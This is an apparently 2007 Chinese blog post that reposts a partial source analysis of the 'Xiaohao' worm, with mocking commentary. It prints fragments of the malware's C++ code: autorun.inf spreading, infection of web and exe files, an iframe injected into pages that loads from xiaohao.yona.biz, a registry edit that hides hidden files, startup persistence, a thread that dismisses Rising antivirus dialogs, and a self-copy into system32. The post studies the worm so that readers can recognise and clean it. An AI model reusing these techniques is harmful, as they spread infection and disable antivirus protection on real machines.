夜火博客

小浩(X14o-H4o)病毒的简单源码分析(不完全研究)

2007-09-01
技术文章
病毒Virus
源码
6分钟
1199字

中国龙组上的朋友小汶’s blog上看到的,我的C语言是自学的,而且只看了几天~,只能大概看出来每段是干什么的~,没小汶看的透这里就直接把小汶的分析给搜刮过来了

2007年08月27日 16:44网上最近炒得火热的 小浩(Xiaohao) 这个木马,在很不经意的情况下,偷到了源代码,以我这个只会 DOS 下简单 C 语言的水平,分析了一下,这个木马实在的不高明,具体详细说来。

首先,是 WormBegin.cpp 这个源码里的: 1 写入 Autoruninf 文件

1
BOOL CWormBegin::GRDirctory(CString Path)    //每个盘下加auto
2
{
3
char ff[256];
4
GetModuleFileName(NULL,ff,sizeof(ff));
5
MyFileName=ff;
6
CString Data,AutoFile,PathName;
7
Data="[Autorun]
8
";
9
Data+="open=Xiaohao.exe
10
";
11
Data+="shellexecute=Xiaohao.exe
12
";
13
Data+="shell\Auto\command=Xiaohao.exe
14
";
15
AutoFile=Path;
22 collapsed lines
16
AutoFile+="Autoruninf";
17
PathName=Path;
18
PathName+="Xiaohao.exe";
19
CStdioFile Auto(AutoFile,CFile::modeNoTruncate|CFile::modeWrite|CFile::modeCreate);
20
Auto.WriteString(Data);
21
Auto.Close();
22
if(!CopyFile(MyFileName,PathName,0))
23
{
24
     return FALSE;
25
}
26
else
27
{
28
     SetFileAttributes(PathName,FILE_ATTRIBUTE_HIDDEN);
29
     SetFileAttributes(AutoFile,FILE_ATTRIBUTE_HIDDEN);
30
     return TRUE;
31
}
32
}
33
/*作者QQ:********
34
Blog : [Http://Hi.baidu.com/](http://hi.baidu.com/)*****
35
不是我不想写 真正的PE感染..    哎. 可是我的结构化异常处理还没有学.. 郁闷啊 ! 只好写个垃圾virus
36
欢迎各位大牛. 来指导我    或者是交流
37
My age:15    - -!*/

评:这位仁兄不知道英文是几级的,目录的英文Directory都能打错。GRDirctory 这种东西可能只能是中国人才能理解吧,哦~~感染目录,中西结合,厉害厉害。

2 再看搜索感染的文件这段:

1
       if(FileName=="htm" || FileName=="html" || FileName=="asp" || FileName=="aspx" || FileName=="php" || FileName=="jsp")
2
       {
3
         Jilu(strPath);
4
         SetFileAttributes(strPath,FILE_ATTRIBUTE_NORMAL);
5
         GanRanWeb(strPath);
6
       }
7
         if(FileName=="exe")
8
       {
9
         if(Fuck.GetFileName()=="xiaohao.exe" || Fuck.GetFileName()=="XiaoHao.exe"
10
           ||Fuck.GetFileName()=="Xiaohao.exe")
11
           continue;

能感染的文件类型只有: htm html asp aspx php jsp 和 exe.

评:使用的方法也就是普通历遍模式,没有什么太大的特点。GanRanWeb这么函数可能也只有英文不好的人才能写得出来吧,老外肯定看不懂了。

3 记录被感染和被隐藏的文件

1
     if(!file.Open("c:\Jilu.txt",CFile::modeNoTruncate|CFile::modeWrite|CFile::modeCreate))
2
       return 1;
3
     file.SeekToEnd();
4
     file.WriteString(str1);
5
     file.Close();
6
     SetFileAttributes("c:\Jilu.txt",FILE_ATTRIBUTE_HIDDEN);

评:我在奇怪了,这个生成一个记录文件,果然作者是英文水平很差的人,LOG 都不会,哦,用拼音的 JILU,实在是厉害。不过,另外你生成一记录的话,我大概就可以根据这个记录,搞定所有被感染的文件了啊,连我去找的时间都不需要了。好玩~~

4 经典的 IFRAME 植入

1
CString WriteBuf="
2
<iframe src=http://xiaohao.yona.biz/xiaohao.htm width=0 height=0></iframe>";

评:依然是利用MS的几个漏洞来进行感染,唉……好老套。另外,这么明显的写出地址,估计很快就会和谐掉了吧。

我们接下继续看 XiaohaoDlg.cpp 这个吧: 1 感染盘符的搜索

1
       if(ss=="A:\")
2
         continue;
3
       if(ss=="C:\")
4
       continue;    //跳过C盘
5
       if(ss=="d:\")

评:这个条件语句太生硬了吧,如果我盘符有B盘呢??估计会进入死循环了吧。

2 修改注册表不让查看隐藏文件

1
char lujing[]="SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL";
2
HKEY hkey;
3
DWORD Data=0;
4
RegOpenKeyEx(HKEY_LOCAL_MACHINE,lujing,0,KEY_ALL_ACCESS,&hkey);
5
RegSetValueEx(hkey,"CheckedValue",0,REG_DWORD,(CONST BYTE*)&Data,4);
6
RegCloseKey(hkey);
7
}

评:这作者真的是不知道路径的英文是PATH啊~~用的方法是修改掉键值。

其它的研究: 1 CLSID方面:

1
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Active Setup\Installed Components\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"

评:和yksoft一致认定:这个人明显没有研究过COM编程,天下哪有这样的CLSID,活生生的硬插,CLSID格式、用字符都不对

2 对付瑞星的部分:

1
DWORD WINAPI FuckRising(
2
             LPVOID lpParameter     // thread data
3
)
4
{
5
while(TRUE)
6
{
7
     HWND hWindow;
8
     char lpClassName[20];
9
     do
10
     {
11
       hWindow = ::GetWindow(GetForegroundWindow(),GW_HWNDFIRST);
12
       ;;GetClassName(hWindow, lpClassName, 20);
13
       if(strncmp(lpClassName,"#32770",6)==0)
14
       {
15
         PostMessage(hWindow, WM_COMMAND,40027,0);
7 collapsed lines
16
         PostMessage(hWindow, WM_COMMAND,2775,0);
17
         PostMessage(hWindow, WM_COMMAND,32776,0);
18
       }
19
       hWindow = ::GetWindow(hWindow, GW_HWNDNEXT);
20
     } while(hWindow == 0);
21
22
}

评:竟然这次英文没写错。哇,瑞星太厉害了,连他都知道写正确了。果然瑞星还是天下最容易被FXCK掉的杀软啊

3 写系统目录方面

1
GetModuleFileName(NULL,ff,255);
2
CopyFile(ff,"c:\windows\system32\exloroe.exe",NULL);

评:这位仁兄真的很强,连系统变量都不去识别,硬生生的往这里写。天啊,如果象我这机器里无WINDOWS目录怎么办,而且C盘没有系统,那会是什么情况发生?

4 修改WINDOWS窗口标题栏

1
::SetWindowText(hwnd,"已中毒 X14o-H4o's Virus");

评:经典的脑残体啊,我改了,改成了“你的Windows已经被和谐” 夜火评:这个不应该叫脑残体吧~,这个是黑客专用的写法,玩黑的朋友应该都知道是什么意思,就像我的xloong可以写成X1_0()||6,还不明白的朋友可以去google的黑客专用入口:http://www.google.com/intl/xx-hacker/  和普通的英文入口对比下就知道了~

这些写出来只是简单的研究一下罢了,好坏,我都不做进一步的评论了,点到为止。 大家可以根据我这些部分代码,研究一下这东西倒底怎么工作的,好在日后遇到此类玩意,怎么去解决它。

总体来说,这个程序是活活的将熊猫的DELPHI,仿作成VC的作品

本文标题:小浩(X14o-H4o)病毒的简单源码分析(不完全研究)
文章作者:夜火
发布时间:2007-09-01